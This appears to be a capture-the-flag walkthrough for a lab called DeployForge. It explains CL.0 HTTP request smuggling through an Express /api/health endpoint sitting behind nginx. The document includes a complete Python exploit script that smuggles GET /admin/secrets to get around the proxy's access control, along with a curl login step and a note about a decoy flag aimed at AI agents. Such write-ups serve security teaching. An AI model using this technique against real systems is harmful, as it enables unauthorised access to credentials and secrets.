Lab 222 — DeployForge — CL.0 HTTP Request Smuggling via Health Check Endpoint
Lab 222 — DeployForge — CL.0 HTTP Request Smuggling via Health Check Endpoint
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: anti_honeypot_awareness, cl0_request_smuggling, content_length_ignored_by_backend, health_check_endpoint_abuse, nginx_acl_bypass, request_pipelining
Summary
Walkthrough of the CUSTOM Web Lab 222 — DeployForge — CL.0 HTTP Request Smuggling via Health Check Endpoint. Task: CI/CD platform with nginx proxy blocking /admin/secrets; /api/health endpoint ignores Content-Length (CL.0 vulnerable). Solution: CL.0 HTTP request smuggling — POST to /api/health with body cont
Description
DeployForge is a CI/CD pipeline management platform built by ForgeStack Inc. It provides build automation, deployment tracking, and secret management for development teams. The platform uses a reverse proxy architecture with nginx handling routing and access control in front of a Node.js backend. As a developer with access to the platform, you can view pipeline configurations, deployment history, and project settings. However, certain administrative endpoints — including deployment secrets containing API keys and credentials — are restricted by the reverse proxy. Your goal is to bypass the front-end access controls and retrieve the sensitive deployment secrets stored in the admin interface.
English summary: A CI/CD platform (Express.js behind nginx/1.25.5) restricts /admin/secrets via nginx proxy rules. The /api/health endpoint is CL.0 vulnerable — the backend ignores the Content-Length header and does not consume the request body. By smuggling a GET /admin/secrets request inside the body of a POST /api/health, the backend processes it as a separate request, bypassing nginx's access control.
Target: https://f4f53a52-b26e-4954-a0d5-8e0aca818140.labs.hackadvisor.io/ Credentials: user@test.com / password123 Stack: nginx/1.25.5, Express.js (Node.js) Reference: https://portswigger.net/web-security/request-smuggling/browser/cl-0
Analysis
Reconnaissance
- Logged in with test credentials (user@test.com / password123) to access the DeployForge dashboard.
- Explored the application — found pages for pipeline management, deployment history, and project settings.
robots.txtreveals/admin/and/admin/secrets— both return 403 Forbidden from nginx.- HTML comment in source: "gateway routes /admin/ to management interface (restricted by nginx proxy)"* — confirms nginx is the access control layer.
- HTML source contains a decoy flag
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}— a honeypot designed to mislead automated tools and AI agents. This is NOT the real flag.
Identifying the CL.0 Vulnerable Endpoint
The /api/health endpoint exhibits different behavior from other Express.js endpoints:
- Missing
X-Powered-By: Expressheader — while all other API endpoints include this header,/api/healthdoes not, indicating different request handling. - Responds to all HTTP methods — accepts GET, POST, PUT, etc.
- Does not consume the request body — when sending a POST with a body, the backend ignores the Content-Length and does not read the body bytes from the TCP stream.
This is the hallmark of a CL.0 vulnerability: the front-end proxy (nginx) forwards the full request including the body based on Content-Length, but the backend does not read the body. The unread body bytes remain in the TCP buffer and are interpreted as the start of the next HTTP request.
Architecture and Desync
Client → nginx/1.25.5 (reverse proxy, ACL) → Express.js (Node.js backend)
- nginx enforces access control:
/admin/*→ 403 Forbidden - nginx uses Content-Length to determine request boundaries and forwards the complete request (headers + body) to the backend
- Express.js backend on
/api/healthignores the body entirely — it responds immediately without reading Content-Length bytes - The unread body bytes remain in the connection buffer between nginx and the backend
- When nginx sends the next request on the same keep-alive connection, the backend first processes the leftover bytes as a new request
Solution
Step 1: Authenticate and Obtain Session Cookie
bash read-only • copy allowedBASE="https://f4f53a52-b26e-4954-a0d5-8e0aca818140.labs.hackadvisor.io" curl -s -c cookies.txt -X POST "$BASE/api/auth/login" \ -H "Content-Type: application/json" \ -d '{"email":"user@test.com","password":"password123"}'
Step 2: CL.0 Smuggling Attack
The attack sends two requests on the same keep-alive connection:
- Setup request:
POST /api/healthwith Content-Length covering a smuggledGET /admin/secretsprefix - Follow-up request:
GET /— a normal request that triggers the desync
The smuggled prefix ends with Foo: x (an incomplete header) so that the follow-up request's first line (GET / HTTP/1.1) gets absorbed as the value of the Foo header in the smuggled request. This ensures the smuggled request is properly formed.
How the desync works:
┌─────────────────────────────────────────────────────────┐
│ nginx sees: │
│ Request 1: POST /api/health (body = smuggled bytes) │
│ Request 2: GET / │
│ → Forwards both to backend on keep-alive connection │
├─────────────────────────────────────────────────────────┤
│ Backend sees: │
│ Request 1: POST /api/health (ignores body — CL.0) │
│ Request 2: GET /admin/secrets (from leftover bytes!) │
│ Request 3: GET / (the actual follow-up) │
│ → /admin/secrets bypasses nginx ACL! │
└─────────────────────────────────────────────────────────┘
Step 3: Exploit Script
python read-only • copy allowed#!/usr/bin/env python3 """CL.0 HTTP Request Smuggling via /api/health endpoint""" import socket import ssl import sys import time HOST = "f4f53a52-b26e-4954-a0d5-8e0aca818140.labs.hackadvisor.io" PORT = 443 COOKIE = sys.argv[1] if len(sys.argv) > 1 else "" # Smuggled prefix — ends with "Foo: x" to absorb the follow-up's first line smuggled = ( "GET /admin/secrets HTTP/1.1\r\n" "Foo: x" ) # Setup request: POST /api/health with Content-Length = len(smuggled) # nginx forwards the body, but the backend ignores it (CL.0) setup = ( "POST /api/health HTTP/1.1\r\n" "Host: " + HOST + "\r\n" "Cookie: connect.sid=" + COOKIE + "\r\n" "Connection: keep-alive\r\n" "Content-Type: application/x-www-form-urlencoded\r\n" "Content-Length: " + str(len(smuggled)) + "\r\n" "\r\n" + smuggled ) # Follow-up request on the same connection followup = ( "GET / HTTP/1.1\r\n" "Host: " + HOST + "\r\n" "Cookie: connect.sid=" + COOKIE + "\r\n" "Connection: close\r\n" "\r\n" ) # Send both requests on a single TLS connection ctx = ssl.create_default_context() sock = socket.create_connection((HOST, PORT), timeout=15) ssock = ctx.wrap_socket(sock, server_hostname=HOST) ssock.send(setup.encode()) time.sleep(0.5) # Wait for backend to process setup (and leave body unread) ssock.send(followup.encode()) time.sleep(3) data = b"" ssock.settimeout(5) try: while True: chunk = ssock.recv(16384) if not chunk: break data += chunk except (socket.timeout, ConnectionError, OSError): pass ssock.close() print(data.decode(errors='replace'))
Step 4: Result
The response contains three HTTP responses:
- 200 OK from
POST /api/health— the health check response - 200 OK from the smuggled
GET /admin/secrets— the admin secrets with the flag - 200 OK from
GET /— the normal dashboard
The admin secrets response contains:
json read-only • copy allowed{ "status": "ok", "secrets": [ { "name": "DEPLOY_SIGNING_KEY", "value": "FLAG{REDACTED}" } ] }
Key Takeaways / Lessons
- Mastering anti_honeypot_awareness, cl0_request_smuggling, content_length_ignored_by_backend, health_check_endpoint_abuse, nginx_acl_bypass, request_pipelining was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-06-21 • CUSTOM • Lab 222 — DeployForge — CL.0 HTTP Request Smuggling via Health Check Endpoint • Difficulty: Medium